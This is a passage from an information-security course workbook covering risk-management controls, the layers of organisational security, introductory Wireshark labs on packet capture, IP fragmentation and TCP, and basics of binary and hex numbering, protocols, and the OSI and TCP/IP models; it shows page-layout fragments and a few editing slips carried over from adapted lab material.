The primary function of information protection risk management is the identification of appropriate con-trols. In every assessment of risk, there will be many areas for which it will not be obvious what kinds of controls are appropriate. The goal of controls is not to have 100 percent security; total security would mean zero productivity. Controls must never lose sight of the business objectives or mission of the enterprise. Whenever there is a contest for supremacy, controls lose and productivity wins. This is not a contest, howev-er. The goal of information protection is to provide a safe and secure environment for management to meet its duty of care.

When selecting controls, one must consider many factors, including the organization’s information pro-tection policy. These include the legislation and regulations that govern your enterprise along with safety, reliability, and quality requirements. Remember that every control will require some performance require-ments. These performance requirements may be a reduction in user response time; additional requirements before applications are moved into production or additional costs.

When considering controls, the initial implementation cost is only the tip of the “cost iceberg.” The long-term cost for maintenance and monitoring must be identified. Be sure to examine any and all technical require-ments and cultural constraints. If your organization is multinational, control measures that work and are accepted in your home country might not be accepted in other countries.

Accept residual risk; at some point, management will need to decide if the operation of a specific process or system is acceptable, given the risk. There can be any number of reasons that a risk must be accepted; these include but are not limited to the following:

The type of risk may be different from previous risks.

The risk may be technical and difficult for a layperson to grasp.

The current environment may make it difficult to identify the risk.

Information protection professionals sometimes forget that the managers hired by our organizations have the responsibility to make decisions. The job of the ISSO is to help information asset owners identify risks to the assets. Assist them in identifying possible controls and then allow them to determine their action plan. Sometimes they will choose to accept the risk, and this is perfectly permissible.

INFO

RMAT

ION

SYS

TEM

S S

ECU

RITY

44

Typical Information Protection Program

• Firewall control

• Risk analysis

• Business Impact Analysis (BIA)

• Virus control and virus response team

• Computer Emergency Response Team (CERT)

• Computer crime investigation

• Records management

• Encryption

• E-mail, voicemail, Internet, video-mail policy

• Enterprise wide information protection program

• Industrial espionage controls

• Contract personnel nondisclosure agreements

• Legal issues

• Internet monitoring

• Disaster planning

• Business continuity planning

• Digital signature

• Secure single sign-on

• Information classification

• Local area networks

• Modem control

• Remote access

• Security awareness programs

What is Security ?

In general, security is “the quality or state of being secure—to be free from danger.”11 In other words, pro-tection against adversaries—from those who would do harm, intentionally or otherwise—is the objective. National security, for example, is a multilayered system that protects the sovereignty of a state, its assets, its resources, and its people. Achieving the appropriate level of security for an organization also requires a multifaceted system.

A successful organization should have the following multiple layers of security in place to pro- tect its opera-tions:

INFO

RMATIO

N SYSTEM

SSECU

RITY

45

Physical security, to protect physical items, objects, or areas from unauthorized access and misuse

Personnel security, to protect the individual or group of individuals who are authorized to access the orga-nization and its operations

Operations security, to protect the details of a particular operation or series of activities

Communications security, to protect communications media, technology, and content Network security, to protect networking components, connections, and contents

Information security, to protect the confidentiality, integrity and availability of information assets, whether in storage, processing, or transmission. It is achieved via the application of policy, education, training and awareness, and technology.

INFO

RMAT

ION

SYS

TEM

S S

ECU

RITY

Module 1 LAB Excercises

LAB 1 Wireshark Protocol Analysis IntroLAB 2 Wireshark IP AnalysisLAB 3 Wireshark TCP Analysis

47

MO

DU

LE 1

LAB

1

WIRESHARK LAB 1 - PROTOCOL ANALYSIS

One’s understanding of network protocols can often be greatly deepened by “seeing protocols in action” and by “playing around with protocols” – observing the sequence of messages exchanged between two proto-col entities, delving down into the details of protocol operation, and causing protocols to perform certain actions and then observing these actions and their consequences. This can be done in simulated scenarios or in a “real” network environment such as the Internet. The Java applets that accompany this text take the first approach. In these Wireshark labs1, we’ll take the latter approach. You’ll be running various network applications in different scenarios using a computer on your desk, at home, or in a lab. You’ll observe the network protocols in your computer “in action,” interacting and exchanging messages with protocol entities executing elsewhere in the Internet. Thus, you and your computer will be an integral part of these “live” labs. You’ll observe, and you’ll learn, by doing.

The basic tool for observing the messages exchanged between executing protocol entities is called a packet sniffer. As the name suggests, a packet sniffer captures (“sniffs”) messages being sent/received from/by your computer; it will also typically store and/or display the contents of the various protocol fields in these cap-tured messages. A packet sniffer itself is passive. It observes messages being sent and received by applica-tions and protocols running on your computer, but never sends packets itself. Similarly, received packets are never explicitly addressed to the packet sniffer. Instead, a packet sniffer receives a copy of packets that are sent/received from/by application and protocols executing on your machine.

Figure 1 shows the structure of a packet sniffer. At the right of Figure 1 are the protocols (in this case, Inter-net protocols) and applications (such as a web browser or ftp client) that normally run on your computer. The packet sniffer, shown within the dashed rectangle in Figure 1 is an addition to the usual software in your computer, and consists of two parts. The packet capture library receives a copy of every link-layer frame that is sent from or received by your computer. Recall from the discussion from section 1.5 in the text (Figure 1.202) that messages exchanged by higher layer protocols such as HTTP, FTP, TCP, UDP, DNS, or IP all are eventually encapsulated in link-layer frames that are transmitted over physical media such as an Ethernet cable. In Figure 1, the assumed physical media is an Ethernet, and so all upper layer protocols are eventually encapsulated within an Ethernet frame. Capturing all link-layer frames thus gives you all messages sent/re-ceived from/by all protocols and applications executing in your computer.

FIGURE 1

48

The second component of a packet sniffer is the packet analyzer, which displays the contents of all fields within a protocol message. In order to do so, the packet analyzer must “understand” the structure of all messages exchanged by protocols. For example, suppose we are interested in displaying the various fields in messages exchanged by the HTTP protocol in Figure 1. The packet analyzer understands the format of Ethernet frames, and so can identify the IP datagram within an Ethernet frame. It also understands the IP da-tagram format, so that it can extract the TCP segment within the IP datagram. Finally, it understands the TCP segment structure, so it can extract the HTTP message contained in the TCP segment. Finally, it understands the HTTP protocol and so, for example, knows that the first bytes of an HTTP message will contain the string “GET,” “POST,” or “HEAD,” as shown in Figure 2.8 in the text.

We will be using the Wireshark packet sniffer [http://www.wireshark.org/] for these labs, allowing us to display the contents of messages being sent/received from/by protocols at different levels of the protocol stack. (Technically speaking, Wireshark is a packet analyzer that uses a packet capture library in your com-puter). Wireshark is a free network protocol analyzer that runs on Windows, Linux/Unix, and Mac computers. It’s an ideal packet analyzer for our labs – it is stable, has a large user base and well-documented support that includes a user-guide (http://www.wireshark.org/docs/wsug_html_chunked/), man pages (http://www.wireshark.org/docs/man-pages/), and a detailed FAQ (http://www.wireshark.org/faq.html), rich functionality that includes the capability to analyze hundreds of protocols, and a well-designed user interface. It operates in computers using Ethernet, Token-Ring, FDDI, serial (PPP and SLIP), 802.11 wireless LANs, and ATM connec-tions (if the OS on which it’s running allows Wireshark to do so).

Getting Wireshark

In order to run Wireshark, you will need to have access to a computer that supports both Wireshark and the libpcap or WinPCap packet capture library. The libpcap software will be installed for you, if it is not installed within your operating system, when you install Wireshark.. See http://www.wireshark.org/download.html for a list of supported operating systems and download sites

Download and install the Wireshark software:

Go to http://www.wireshark.org/download.html and download and install the

Wireshark binary for your computer.

Download the Wireshark user guide.

The Wireshark FAQ has a number of helpful hints and interesting tidbits of information, particularly if you have trouble installing or running Wireshark.

Running Wireshark

When you run the Wireshark program, the Wireshark graphical user interface shown in Figure 2 will de dis-played. Initially, no data will be displayed in the various windows.

MO

DU

LE 1LA

B 1

49

Figure 2

The Wireshark interface has five major components:

The command menus are standard pulldown menus located at the top of the window. Of interest to us now are the File and Capture menus. The File menu allows you to save captured packet data or open a file containing previously captured packet data, and exit the Wireshark application. The Capture menu allows you to begin packet capture.

The packet-listing window displays a one-line summary for each packet captured, including the packet number (assigned by Wireshark; this is not a packet number contained in any protocol’s header), the time at which the packet was captured, the packet’s source and destination addresses, the protocol type, and proto-col-specific information contained in the packet. The packet listing can be sorted according to any of these categories by clicking on a column name. The protocol type field lists the highest level protocol that sent or received this packet, i.e., the protocol that is the source or ultimate sink for this packet.

The packet-header details window provides details about the packet selected (highlighted) in the packet listing window. (To select a packet in the packet listing window, place the cursor over the packet’s one-line summary in the packet listing window and click with the left mouse button.). These details include informa-tion about the Ethernet frame (assuming the packet was sent/receiverd over an Ethernet interface) and IP datagram that contains this packet. The amount of Ethernet and IP-layer detail displayed can be expanded or minimized by clicking on the plus-or-minus boxes to the left of the Ethernet frame or IP datagram line in the packet details window. If the packet has been carried over TCP or UDP, TCP or UDP details will also be displayed, which can similarly be expanded or minimized. Finally, details about the highest level protocol that sent or received this packet are also provided.

MO

DU

LE 1

LAB

1

50

The packet-contents window displays the entire contents of the captured frame, in both ASCII and hexa-decimal format.

Towards the top of the Wireshark graphical user interface, is the packet display filter field, into which a pro-tocol name or other information can be entered in order to filter the information displayed in the packet-list-ing window (and hence the packet-header and packet-contents windows). In the example below, we’ll use the packet-display filter field to have Wireshark hide (not display) packets except those that correspond to HTTP messages.

Taking Wireshark for a Test Run

The best way to learn about any new piece of software is to try it out! We’ll assume that your computer is connected to the Internet via a wired Ethernet interface. Do the following

1. Start up your favorite web browser, which will display your selected homepage.

2. Start up the Wireshark software. You will initially see a window similar to that shown in Figure 2, except that no packet data will be displayed in the packet- listing, packet-header, or packet-contents window, since Wireshark has not yet begun capturing packets.

3. To begin packet capture, select the Capture pull down menu and select Options. This will cause the “Wireshark: Capture Options” window to be displayed, as shown in Figure 3.

Figure 3

4. You can use most of the default values in this window, but uncheck “Hide capture info dialog” under Display Options. The network interfaces (i.e., the physical connections) that your computer has to the network will be shown in the Interface pull down menu at the top of the Capture Options window. In case your computer has more than one active network interface (e.g., if you have both a wireless and a wired Ethernet connection), you will need to select an interface that is being used to send and receive packets (mostly likely the wired interface). After selecting the network interface (or using the default interface chosen by Wireshark), click Start. Packet capture will now begin - all packets being sent/received from/by your computer are now being captured by Wireshark!

5. Once you begin packet capture, a packet capture summary window will appear, as shown in Figure 4. This win-dow summarizes the number of packets of various types that are being captured, and (importantly!) contains the Stop button that will allow you to stop packet capture. Don’t stop packet capture yet.

6. While Wireshark is running, enter the URL:

http://www.apple.com

and have that page displayed in your browser. In order to display this page, your browser will contact the HTTP server at gaia.cs.umass.edu and exchange HTTP messages with the server in order to download this page, as discussed in section 2.2 of the text. The Ethernet frames containing these HTTP messages will be captured by Wireshark.

MO

DU

LE 1LA

B 1

51

7. After your browser has displayed the apple home page, stop Wireshark packet capture by selecting stop in the Wireshark capture window. This will cause the Wireshark capture window to disappear and the main Wireshark window to display all packets captured since you began packet capture. The main Wireshark window should now look similar to Figure 2. You now have live packet data that contains all protocol mes-sages exchanged between your computer and other network entities! The HTTP message exchanges with the gaia.cs.umass.edu web server should appear somewhere in the listing of packets captured. But there will be many other types of packets displayed as well. Even though the only action you took was to download a web page, there were evidently many other protocols running on your computer that are unseen by the user. We’ll learn much more about these protocols as we progress through the text! For now, you should just be aware that there is often much more going on than “meet’s the eye”!

8. Type in “http” (without the quotes, and in lower case – all protocol names are in lower case in Wire-shark) into the display filter specification window at the top of the main Wireshark window. Then select Apply (to the right of where you entered “http”). This will cause only HTTP message to be displayed in the packet-listing window.

9. Select the first http message shown in the packet-listing window. This should be the HTTP GET message that was sent from your computer to the apple.com HTTP server. When you select the HTTP GET message, the Ethernet frame, IP datagram, TCP segment, and HTTP message header information will be displayed in the packet-header window3. By clicking plus- and-minus boxes to the left side of the pack-et details window, minimize the amount of Frame, Ethernet, Internet Protocol, and Transmission Control Protocol information displayed. Maximize the amount information displayed about the HTTP protocol. Your Wireshark display should now look roughly as shown in Figure 5. (Note, in particular, the minimized amount of protocol information for all protocols except HTTP, and the maximized amount of protocol information for HTTP in the packet-header window).

10. Exit Wireshark

Congratulations! You’ve now completed the first lab.

MO

DU

LE 1

LAB

1

52

WIRESHARK LAB 2 - IP ANALYSIS

In this lab, we’ll investigate the IP protocol, focusing on the IP datagram. We’ll do so by analyzing a trace of IP datagrams sent and received by an execution of the traceroute program (the traceroute program itself is explored in more detail in the Wireshark ICMP lab). We’ll investigate the various fields in the IP datagram, and study IP fragmentation in detail.

Before beginning this lab, you’ll probably want to review sections 1.4.3 in the text and section 3.4 of RFC 2151 [ftp://ftp.rfc-editor.org/in-notes/rfc2151.txt] to update yourself on the operation of the traceroute pro-gram. You’ll also want to read Section 4.4 in the text, and probably also have RFC 791

[ftp://ftp.rfc-editor.org/in-notes/rfc791.txt] on hand as well, for a discussion of the IP protocol.1

1. Capturing packets from an execution of traceroute

In order to generate a trace of IP datagrams for this lab, we’ll use the traceroute program to send datagrams of different sizes towards some destination, X. Recall that traceroute operates by first sending one or more datagrams with the time-to-live (TTL) field in the IP header set to 1; it then sends a series of one or more datagrams towards the same destination with a TTL value of 2; it then sends a series of datagrams towards the same destination with a TTL value of 3; and so on. Recall that a router must decrement the TTL in each received datagram by 1 (actually, RFC 791 says that the router must decrement the TTL by at least one). If the TTL reaches 0, the router returns an ICMP message (type 11 – TTL-exceeded) to the sending host. As a result of this behavior, a datagram with a TTL of 1 (sent by the host executing traceroute) will cause the router one hop away from the sender to send an ICMP TTL-exceeded message back to the sender; the datagram sent with a TTL of 2 will cause the router two hops away to send an ICMP message back to the sender; the datagram sent with a TTL of 3 will cause the router three hops away to send an ICMP message back to the sender; and so on. In this manner, the host executing traceroute can learn the identities of the routers be-tween itself and destination X by looking at the source IP addresses in the datagrams containing the ICMP TTL-exceeded messages.

We’ll want to run traceroute and have it send datagrams of various lengths.

Windows. The tracert program (used for our ICMP Wireshark lab) provided with Windows does not allow one to change the size of the ICMP echo request (ping) message sent by the tracert program. A nicer Windows traceroute program is pingplotter, available both in free version and shareware versions at

http://www.pingplotter.com.

Download and install pingplotter, and test it out by performing a few traceroutes to your favorite sites. The size of the ICMP echo request message can be explicitly set in pingplotter by selecting the menu item Edit-> Options->Packet Options and then filling in the Packet Size field. The default packet size is 56 bytes. Once pingplotter has sent a series of packets with the increasing TTL values, it restarts the sending process again with a TTL of 1, after waiting Trace Interval amount of time. The value of Trace Interval and the number of intervals can be explicitly set in pingplotter.

MO

DU

LE 1LA

B 2

53

Linux/Unix. With the Unix traceroute command, the size of the UDP datagram sent towards the destination can be explicitly set by indicating the number of bytes in the datagram; this value is entered in the tracer-oute command line immediately after the name or address of the destination.

For example, to send traceroute datagrams of 2000 bytes towards foresec-academy.com,

the command would be:

$traceroute foresec-academy.com 2000

MO

DU

LE 1

LAB

2

54

Do the following:

1) Start up Wireshark and begin packet capture (Capture->Option) and then press OK on the Wireshark Packet Capture Options screen (we’ll not need to select any options here).

2) If you are using a Windows platform, start up pingplotter and enter the name of a target destination in the “Address to Trace Window.” Enter 3 in the “# of times to Trace” field, so you don’t gather too much data. Select the menu item Edit- >Advanced Options->Packet Options and enter a value of 56 in the Packet Size field and then press OK. Then press the Trace button. You should see a pingplotter window that looks some-thing like this:

3) Next, send a set of datagrams with a longer length, by selecting Edit->Advanced Options->Packet Options and enter a value of 2000 in the Packet Size field and then press OK. Then press the Resume button.

4) Finally, send a set of datagrams with a longer length, by selecting Edit- >Advanced Options->Packet Options and enter a value of 3500 in the Packet Size field and then press OK. Then press the Resume button.

5) Stop Wireshark tracing.

MO

DU

LE 1LA

B 2

55

If you are unable to run Wireshark on a live network connection, you can download a packet trace file that was captured while following the steps above on one of the author’s Windows computers2. You may well find it valuable to download this trace even if you’ve captured your own trace and use it, as well as your own trace, when you explore the questions below.

A look at the captured trace

In your trace, you should be able to see the series of ICMP Echo Request (in the case of Windows machine) or the UDP segment (in the case of Unix) sent by your computer and the ICMP TTL-exceeded messages returned to your computer by the intermediate routers. In the questions below, we’ll assume you are using a Windows machine; the corresponding questions for the case of a Unix machine should be clear. Whenever possible, when answering a question you should hand in a printout of the packet(s) within the trace that you used to answer the question asked. Annotate the printout to explain your answer. To print a packet, use File->Print, choose Selected packet only, choose Packet summary line, and select the minimum amount of packet detail that you need to answer the question

1. Select the first ICMP Echo Request message sent by your computer, and expand the Internet Protocol part of the packet in the packet details window.

2. What is the IP address of your computer ?

3. Within the IP packet header, what is the value in the upper layer protocol field?

4. 3. How many bytes are in the IP header? How many bytes are in the payload of the

5. IP datagram? Explain how you determined the number of payload bytes.

6. Has this IP datagram been fragmented? Explain how you determined whether or not the datagram has been fragmented.

MO

DU

LE 1

LAB

2

56

Next, sort the traced packets according to IP source address by clicking on the Source column header; a small downward pointing arrow should appear next to the word Source. If the arrow points up, click on the Source column header again. Select the first ICMP Echo Request message sent by your computer, and expand the Internet Protocol portion in the “details of selected packet header” window. In the “listing of captured packets” window, you should see all of the subsequent ICMP messages (perhaps with additional interspersed packets sent by other protocols running on your computer) below this first ICMP. Use the down arrow on your keyboard to move through the ICMP messages sent by your computer.

1. Which fields in the IP datagram always change from one datagram to the next within this series of ICMP messages sent by your computer?

2. Which fields stay constant? Which of the fields must stay constant? Which fields must change? Why?

3. Describe the pattern you see in the values in the Identification field of the IP datagram

Next (with the packets still sorted by source address) find the series of ICMP TTL- exceeded replies sent to your computer by the nearest (first hop) router.

4. What is the value in the Identification field and the TTL field?

5. Do these values remain unchanged for all of the ICMP TTL-exceeded replies sent to your computer by the nearest (first hop) router? Why?

Fragmentation

6. Sort the packet listing according to time again by clicking on the Time column.

7. Find the first ICMP Echo Request message that was sent by your computer after you changed the Packet Size in pingplotter to be 2000. Has that message been fragmented across more than one IP datagram? [Note: if you find your packet has not been fragmented, you should download the zip file

http://www.foresec-academy.com/download/archive.zip

and extract the ip- ethereal-trace-1packet trace. If your computer has an Ethernet interface, a packet size of 2000 should cause fragmentation.3]

8. Print out the first fragment of the fragmented IP datagram. What information in the IP header indicates that the datagram been fragmented? What information in the IP header indicates whether this is the first fragment versus a latter fragment?

9. How long is this IP datagram?

10. Print out the second fragment of the fragmented IP datagram. What information in the IP header indi-cates that this is not the first datagram fragment? Are the more fragments? How can you tell?

11. What fields change in the IP header between the first and second fragment?

12. Now find the first ICMP Echo Request message that was sent by your computer after you changed the Packet Size in pingplotter to be 3500.

13. 14. How many fragments were created from the original datagram? 15. What fields change in the IP header among the fragments?

MO

DU

LE 1LA

B 2

57

WIRESHARK LAB 3 - TCP ANALYSIS

In this lab, we’ll investigate the behavior of TCP in detail. We’ll do so by analyzing a trace of the TCP segments sent and received in transferring a 150KB file (containing the text of Lewis Carrol’s Alice’s Adventures in Won-derland) from your computer to a remote server. We’ll study TCP’s use of sequence and acknowledgement numbers for providing reliable data transfer; we’ll see TCP’s congestion control algorithm – slow start and congestion avoidance – in action; and we’ll look at TCP’s receiver-advertised flow control mechanism. We’ll also briefly consider TCP connection setup and we’ll investigate the performance (throughput and round-trip time) of the TCP connection between your computer and the server.

1. Capturing a bulk TCP transfer from your computer to a remote server

2. Before beginning our exploration of TCP, we’ll need to use Wireshark to obtain a packet trace of the TCP transfer of a file from your computer to a remote server. You’ll do so by accessing a Web page that will allow you to enter the name of a file stored on your computer (which contains the ASCII text of Alice in Wonderland), and then transfer the file to a Web server using the HTTP POST method (see section 2.2.3 in the text). We’re using the POST method rather than the GET method as we’d like to transfer a large amount of data from your computer to another computer. Of course, we’ll be running Wireshark during this time to obtain the trace of the TCP segments sent and received from your computer.

3. Do the following:

4. Start up your web browser. Go the http:www.foresec-academy.com/download/alice.txt and retrieve an ASCII copy of Alice in Wonderland. Store this file somewhere on your computer.

5. Next go to the FTP server your instructor set up for you and upload the same alice.txt file to the ftp serv-er.

6. Now start up Wireshark and begin packet capture (Capture->Options) and then press OK on the Wire-shark Packet Capture Options screen (we’ll not need to select any options here).

7. Returning to your browser, press the “Upload alice.txt file” button to upload the file to the gaia.cs.umass.edu server. Once the file has been uploaded, a short congratulations message will be displayed in your browser window.Stop Wireshark packet capture. Your Wireshark window should look similar to the win-dow shown below. If you are unable to run Wireshark on a live network connection, you can download a packet trace file that was captured while following the steps above on one of the author’s computers. You may well find it valuable to download this trace even if you’ve captured your own trace and use it, as well as your own trace, when you explore the questions below.

MO

DU

LE 1

LAB

3

Lesson 1 Protocol Understanding

Lesson 2 IP Concepts Part II

Lesson 3 Security Best Practices

Lesson 4 Information System Security

PART 2 Understanding Security Services & Protocols

59

PRO

TOCO

L U

ND

ERST

AN

DIN

G

Protocol Understanding

IP Concepts revisited

We begin with a quick refresher on the topic of numbering systems. Humans typically count in base 10 (decimal), but computers operate solely on base 2 (binary). Because you are going to learn to peer inside network transmissions and understand their structure and content, a refresher on binary numbering and hex might be a good idea.

Next, we discuss protocols and protocol stacks, the building blocks of network communication. We examine and compare two of the most common examples - the OSI reference model and TCP/IP.

After you have mastered the basic protocols, we show you how they work together to structure network transmissions into frames and packets as they are sent across the wire. Additionally, we examine the Internet Protocol (IP) packet header to see what you can learn from it.

Finally, we finish the module by discussing network addressing and host naming. That is, how computers tell the network the remote computer with which they would like to communicate and how humans distinguish one computer from another.

Binary Numbers

Let’s take a closer look at the binary system. Computers are composed almost entirely of billions of tiny little transistors embedded into microchips. Each transistor acts like a little switch, either storing a charge or not and often switching between the two states. Because there really are only two states in which any individual transistor can be, it is often convenient to represent numbers in base 2 when dealing with computers.

Base 2, also known as binary, is written with only two symbols: a .1. denoting a charge or a positive value and a “0” denoting no charge or the lack of a value.

A single symbol, no matter what value it holds, is referred to as a bit, the fundamental building block of in-formation within a computer. By themselves, however, bits are not large enough to hold information anyone normally would consider interesting. Thus, bits are grouped into collections of 8, referred to as a byte (or octet), the level in which you start to see useful data. A single byte can hold a number from 0 to 255, which the computer could interpret in various ways, such as an integer or as a single character like the letter x or a dollar sign $.

Human beings have 10 fingers and 10 toes, so it is only natural that our preferred system of counting also has 10 digits. We refer to this numbering system as base 10 because it is based on 10 distinct digits. We are so used to base 10 that many people do not even know that there are other possibilities; however, one hopes that not many IT professionals fall into this trap!

In reality, there are as many different bases as there are numbers with which to express them. The most com-mon numbering systems include decimal (base 10), binary (base 2), octal (base 8), and hexadecimal (base 16).

The decimal number 255 is written in binary as 11111111. A binary 11010101 would be 213 in base 10. Notice how the base 10 version is shorter and more compact. This is an example of a general rule: the higher your base, the fewer symbols it takes to write large numbers. Base 2, being the smallest whole number base possible, usually takes a lot of digits to express even fairly small values. This is one of the biggest problems humans have in dealing with binary notation: the digits tend to run together when trying to read them.

60

PROTO

COL U

ND

ERSTAN

DIN

G

Consider the decimal number 53,818. In binary, this would be the rather intimidating 1101001000111010. To make this representation a little easier to read, convention dictates that this long number be broken along 4 bit boundaries when written, like so: 1101 0010 0011 1010. Remember, a byte is equal to 8 bits, so the first two groups of 4 would make up the first byte (1101 0010), and the last two groups would be the second (0011 1010). Still, all these ones and zeros start to look alike after a while, especially when the represented number is large, creating a visual deterrence from distinguishing the placement of the ones and zeros. That is why you often see base 16, or hexadecimal, numbering used instead.

Hexadecimal Numbers

Hex numbers use the digits 0 through 9 just like decimal numbers do, but they need to be able to express 16 possible values for each digit, and the 10 numerals we are used to dealing with every day just are not enough. Hex digits also encompass the Roman alphabet letters A - F, where A = 10 through F = 15. These letters usually are written as capitals, but this isn’t a requirement. In hex, each digit can stand for anything from decimal 0 to decimal 15. Two hex digits are the equivalent of eight digits of binary. In other words, it takes only two hex digits to write one byte or 8 bits. In our previous example, the long, intimidating binary number 1101 0010 0011 1010 can be written simply as D23A: byte one as 1101 0010 or as D2, byte two as 0011 1010 or as 3A.

Whether a number is represented as decimal or binary is usually pretty obvious when seen. Rarely will you mistake a decimal 10 for a binary 10 (usually because binary numbers generally are written in groups of 4 or 8). You might, however, have more trouble distinguishing a decimal 14 from a hex 14 (which, after all is a radically different number!). In text, it is common to do what we have been doing, simply mentioning the number’s base when mentioning the number itself. There is another convention you should be aware of, however. Hex numbers are often notated by preceding them with “0x.” For example, “0x14” unambiguously is 14 in hex. The “0x” is not really part of the number; it is just a shorthand way of indicating that the value is base 16. In fact, many people find this the most convenient notation, and it is in wide use.

Hex Quick Reference Chart

What do the hex letters A . F equal in decimal terms?

Here’s a quick chart to help you remember:

A = 10 B = 11 C = 12 D = 13 E = 14 F = 15

61

PRO

TOCO

L U

ND

ERST

AN

DIN

G

Converting Numbers to Decimal

Although it might seem tricky at first, converting numbers into decimal from some other base is really pretty straightforward. Let’s start with something easy. We will convert the binary number 1011 to a decimal value. Start by writing the original number on a scrap of paper. Next, determine its base, which is 2 in our example. Starting with the rightmost digit and working left, label each column of the number, beginning with 0.

In this example, the rightmost digit is in column 0 and the leftmost digit is in column 3. See Figure 2.2 for an example of what we mean.

We can use exactly the same technique to convert 0xA0F2 into decimal as well. Start by writing the number on another scrap of paper (ignore the “0x” part at the beginning). Again, number the columns from right to left, starting with 0. In this case, we.re dealing with base 16, so the column values are 160=1, 161=16, 162=256 and 163=4096 Now, multiply the number in each column by the column’s value, and add these results together, like so: (A*4096)+(0*256)+(F*16)+(2*1). If you then substitute the letters for their base 10 equivalents, you get (10*4096)+(0*256)+(15*16)+(2*1), which comes out to decimal 41,202.

That wasn’t so hard, was it? Okay, maybe it was, but it will get easier with practice; we promise! For now, though, let’s take a break from numbers and look into some of the rules governing communica-tions in the electronic world.

Protocols

In the broadest sense, a protocol is nothing more than an agreement of how different entities will act and react in certain circumstances. A medical protocol prescribes a course of treatment for a certain disease. A diplomatic protocol is the basis for a formal treaty that, for example, might specify how two nations will allow free trade along a common border. Similarly, a communications protocol establishes the parties in an exchange of information. It dictates the format of such communication and also the allowable responses to various situations that can occur.

62

PROTO

COL U

ND

ERSTAN

DIN

G

Real Life Protocols

For clarity’s sake, you might think of a protocol as a conversation, perhaps between more than just two par-ties. As an analogy, consider the following conversation between a police officer and a dispatch station.

DISPATCH: Base to 1013.

OFFICER: 1013. Go ahead base. Over.

DISPATH: Reported 415 at location A65. Over.

OFFICER: 10-9 base. Over.

DISPATH: Reported 415 at location A65. Over.

OFFICER: 10-4 base. 1013 ETA 15 minutes. Over.

DISPATH: 10-4 1013.

This particular conversation is a protocol used between police offices and dispatch stations. Without under-standing the characteristics of the protocol (what the codes and abbreviations represent), we cannot deci-pher the conversation. Let.s take a look at this conversation in English:

DISPATCH: Dispatch calling Officer Smith.

OFFICER: This is Officer Smith. Go ahead dispatch.

DISPATCH: Reported case of disturbing the peace at the

Charles Building, 2 Richmond Street.

OFFICER: Dispatch. Repeat that last message please.

DISPATCH: Reported case of disturbing the peace at the

Charles Building, 2 Richmond Street.

OFFICER: OK dispatch. I’m on my way. Estimated time of

arrival: 15 minutes.

DISPATCH: OK Officer Smith.

See how that worked? Standard protocol for police radio conversations includes abbreviating information with numbers or initialisms. They even include a mechanism to positively acknowledge received information (10-4) and a mechanism to request that information be re-sent when it is not received properly (10-9). In fact, the police communication protocol relies on several lower-level protocols to which you probably have not given much thought. For example, in the United States, the recognized standard conversation language is English, which really is an extraordinarily complex protocol in itself. When protocols like this are worked out in advance, they can be quite effective and efficient.

Break the rules, though, and your failure to follow the protocol can slow the system or even bring it to a complete halt. When you mail a letter, there is a particular format for placing the address and postage on the envelope. Put the stamp on the back of the envelope, though, or omit it altogether, and the commu-nication gets confused. You have probably been in a situation in which you had “interoperable” hardware or software products that were based on the same standards in theory but were not actually compatible in practice. Odds are, one or both of those products misinterpreted the standard and thus implemented a protocol differently. This is why strict conformance to standard protocols is a Good Thing.

63

PRO

TOCO

L U

ND

ERST

AN

DIN

G

There are three basic purposes for communications protocols:

1. To standardize the format of a communication

2. To specify the order or timing of communication

3. To allow all parties to determine the meaning of a communication

As long as both sides of the communication are using the same protocol and using it properly, it will be successful.

Electronic Protocols

Computers and networks are not so different from police officer communication. If two computers want to communicate, they need to follow a specific set of protocols in order for each computer to receive and understand the message. There are a lot of different protocols involved, too. Some proto-cols concern themselves with breaking up a transmission into smaller bunches of data called packets. Some make sure that each packet has the proper information in the proper locations. Some protocols see that information is copied from your computer to the network cable properly. Still others ensure that packets all get to the right place in the proper order. Even with a transaction as simple as fetching a Web page, it is difficult to count all the different protocols that make it possible.

Figure 2.3

64

PROTO

COL U

ND

ERSTAN

DIN

G

The Standard OSI Model

The standard reference model for protocol stacks is the International Standards Organization’s (ISO) Open Systems Interconnect (OSI) model. The OSI model divides network communications into seven layers:

The Physical Layer handles transmission across the physical media. This includes such things as electrical pulses on wires, connection specifications between the interface hardware and the network cable and volt-age regulation.

The Data Link Layer connects the physical part of the network (such as cables and electrical signals) with the abstract part (such as packets and data streams).

The Network Layer handles interaction with the network address scheme and connectivity over multiple network segments. It describes how systems on different network segments find and communicate with each other.

The Transport Layer actually interacts with your information and prepares it to be transmitted across the network. It is this layer that ensures reliable connectivity from end-to-end. The Transport Layer also handles the sequencing of packets in a transmission.

The Session Layer handles the establishment and maintenance of connections between systems. It negoti-ates the connection, sets it up, maintains it, and makes sure that information exchanged across the connec-tion is in sync on both sides.

The Presentation Layer makes sure that the data sent from one side of the connection is received in a for-mat that is useful to the other side. For example, if the sender compresses the data prior to transmission, the Presentation Layer on the receiving end would have to decompress it before the receiver could use it.

The Application Layer interacts with the application to determine which network services will be required. When a program requires access to the network, the Application Layer will manage requests from the pro-gram to the other layers down the stack.

Why is all this important, and do you really need to memorize all this? Well, yes and no. You need to have at least a passing familiarity with the OSI model because you will hear network engineers and vendors talk about “Layer 2 switches” or “Layer 3 protocols.” The layers to which they are referring are the OSI model lay-ers, and understanding what each layer does will go a long way in both understanding the conversation and securing your network services. In reality, not all protocol stacks have all 7 layers, but the OSI model serves as a common point of reference and a kind of verbal shorthand.

65

PRO

TOCO

L U

ND

ERST

AN

DIN

G

The TCP/IP Stack

In comparison to the OSI protocol stack, the Transmission Control Protocol/Internet

Protocol (TCP/IP) stack is much simpler. This model predates the OSI model and, as the name implies, is the underlying protocol of the Internet. As such, it is much more widely used than OSI-based protocols. In fact, though the stack usually is referred to as the TCP/IP stack, a more accurate name is .IP stack.. TCP is only one of the several protocols typically offered by an IP stack.

The TCP/IP stack has only four layers: the Link Layer, the Network Layer, the Transport Layer, and the Applica-tion Layer. Even though the stack has only 4 layers as compared to the 7 layer OSI model, it still performs the same functions. It just means that because there are fewer layers, each layer has to do a little more work.

The Link Layer

The Link layer defines how to access a specific network technology, such as Ethernet, Token Ring, or FDDI. The network layer also is referred to as the Network Interface or Data Link layer.

The Network Layer

The Network Layer defines how data is formatted for transmission over the physical network and handles the routing of data through the network.

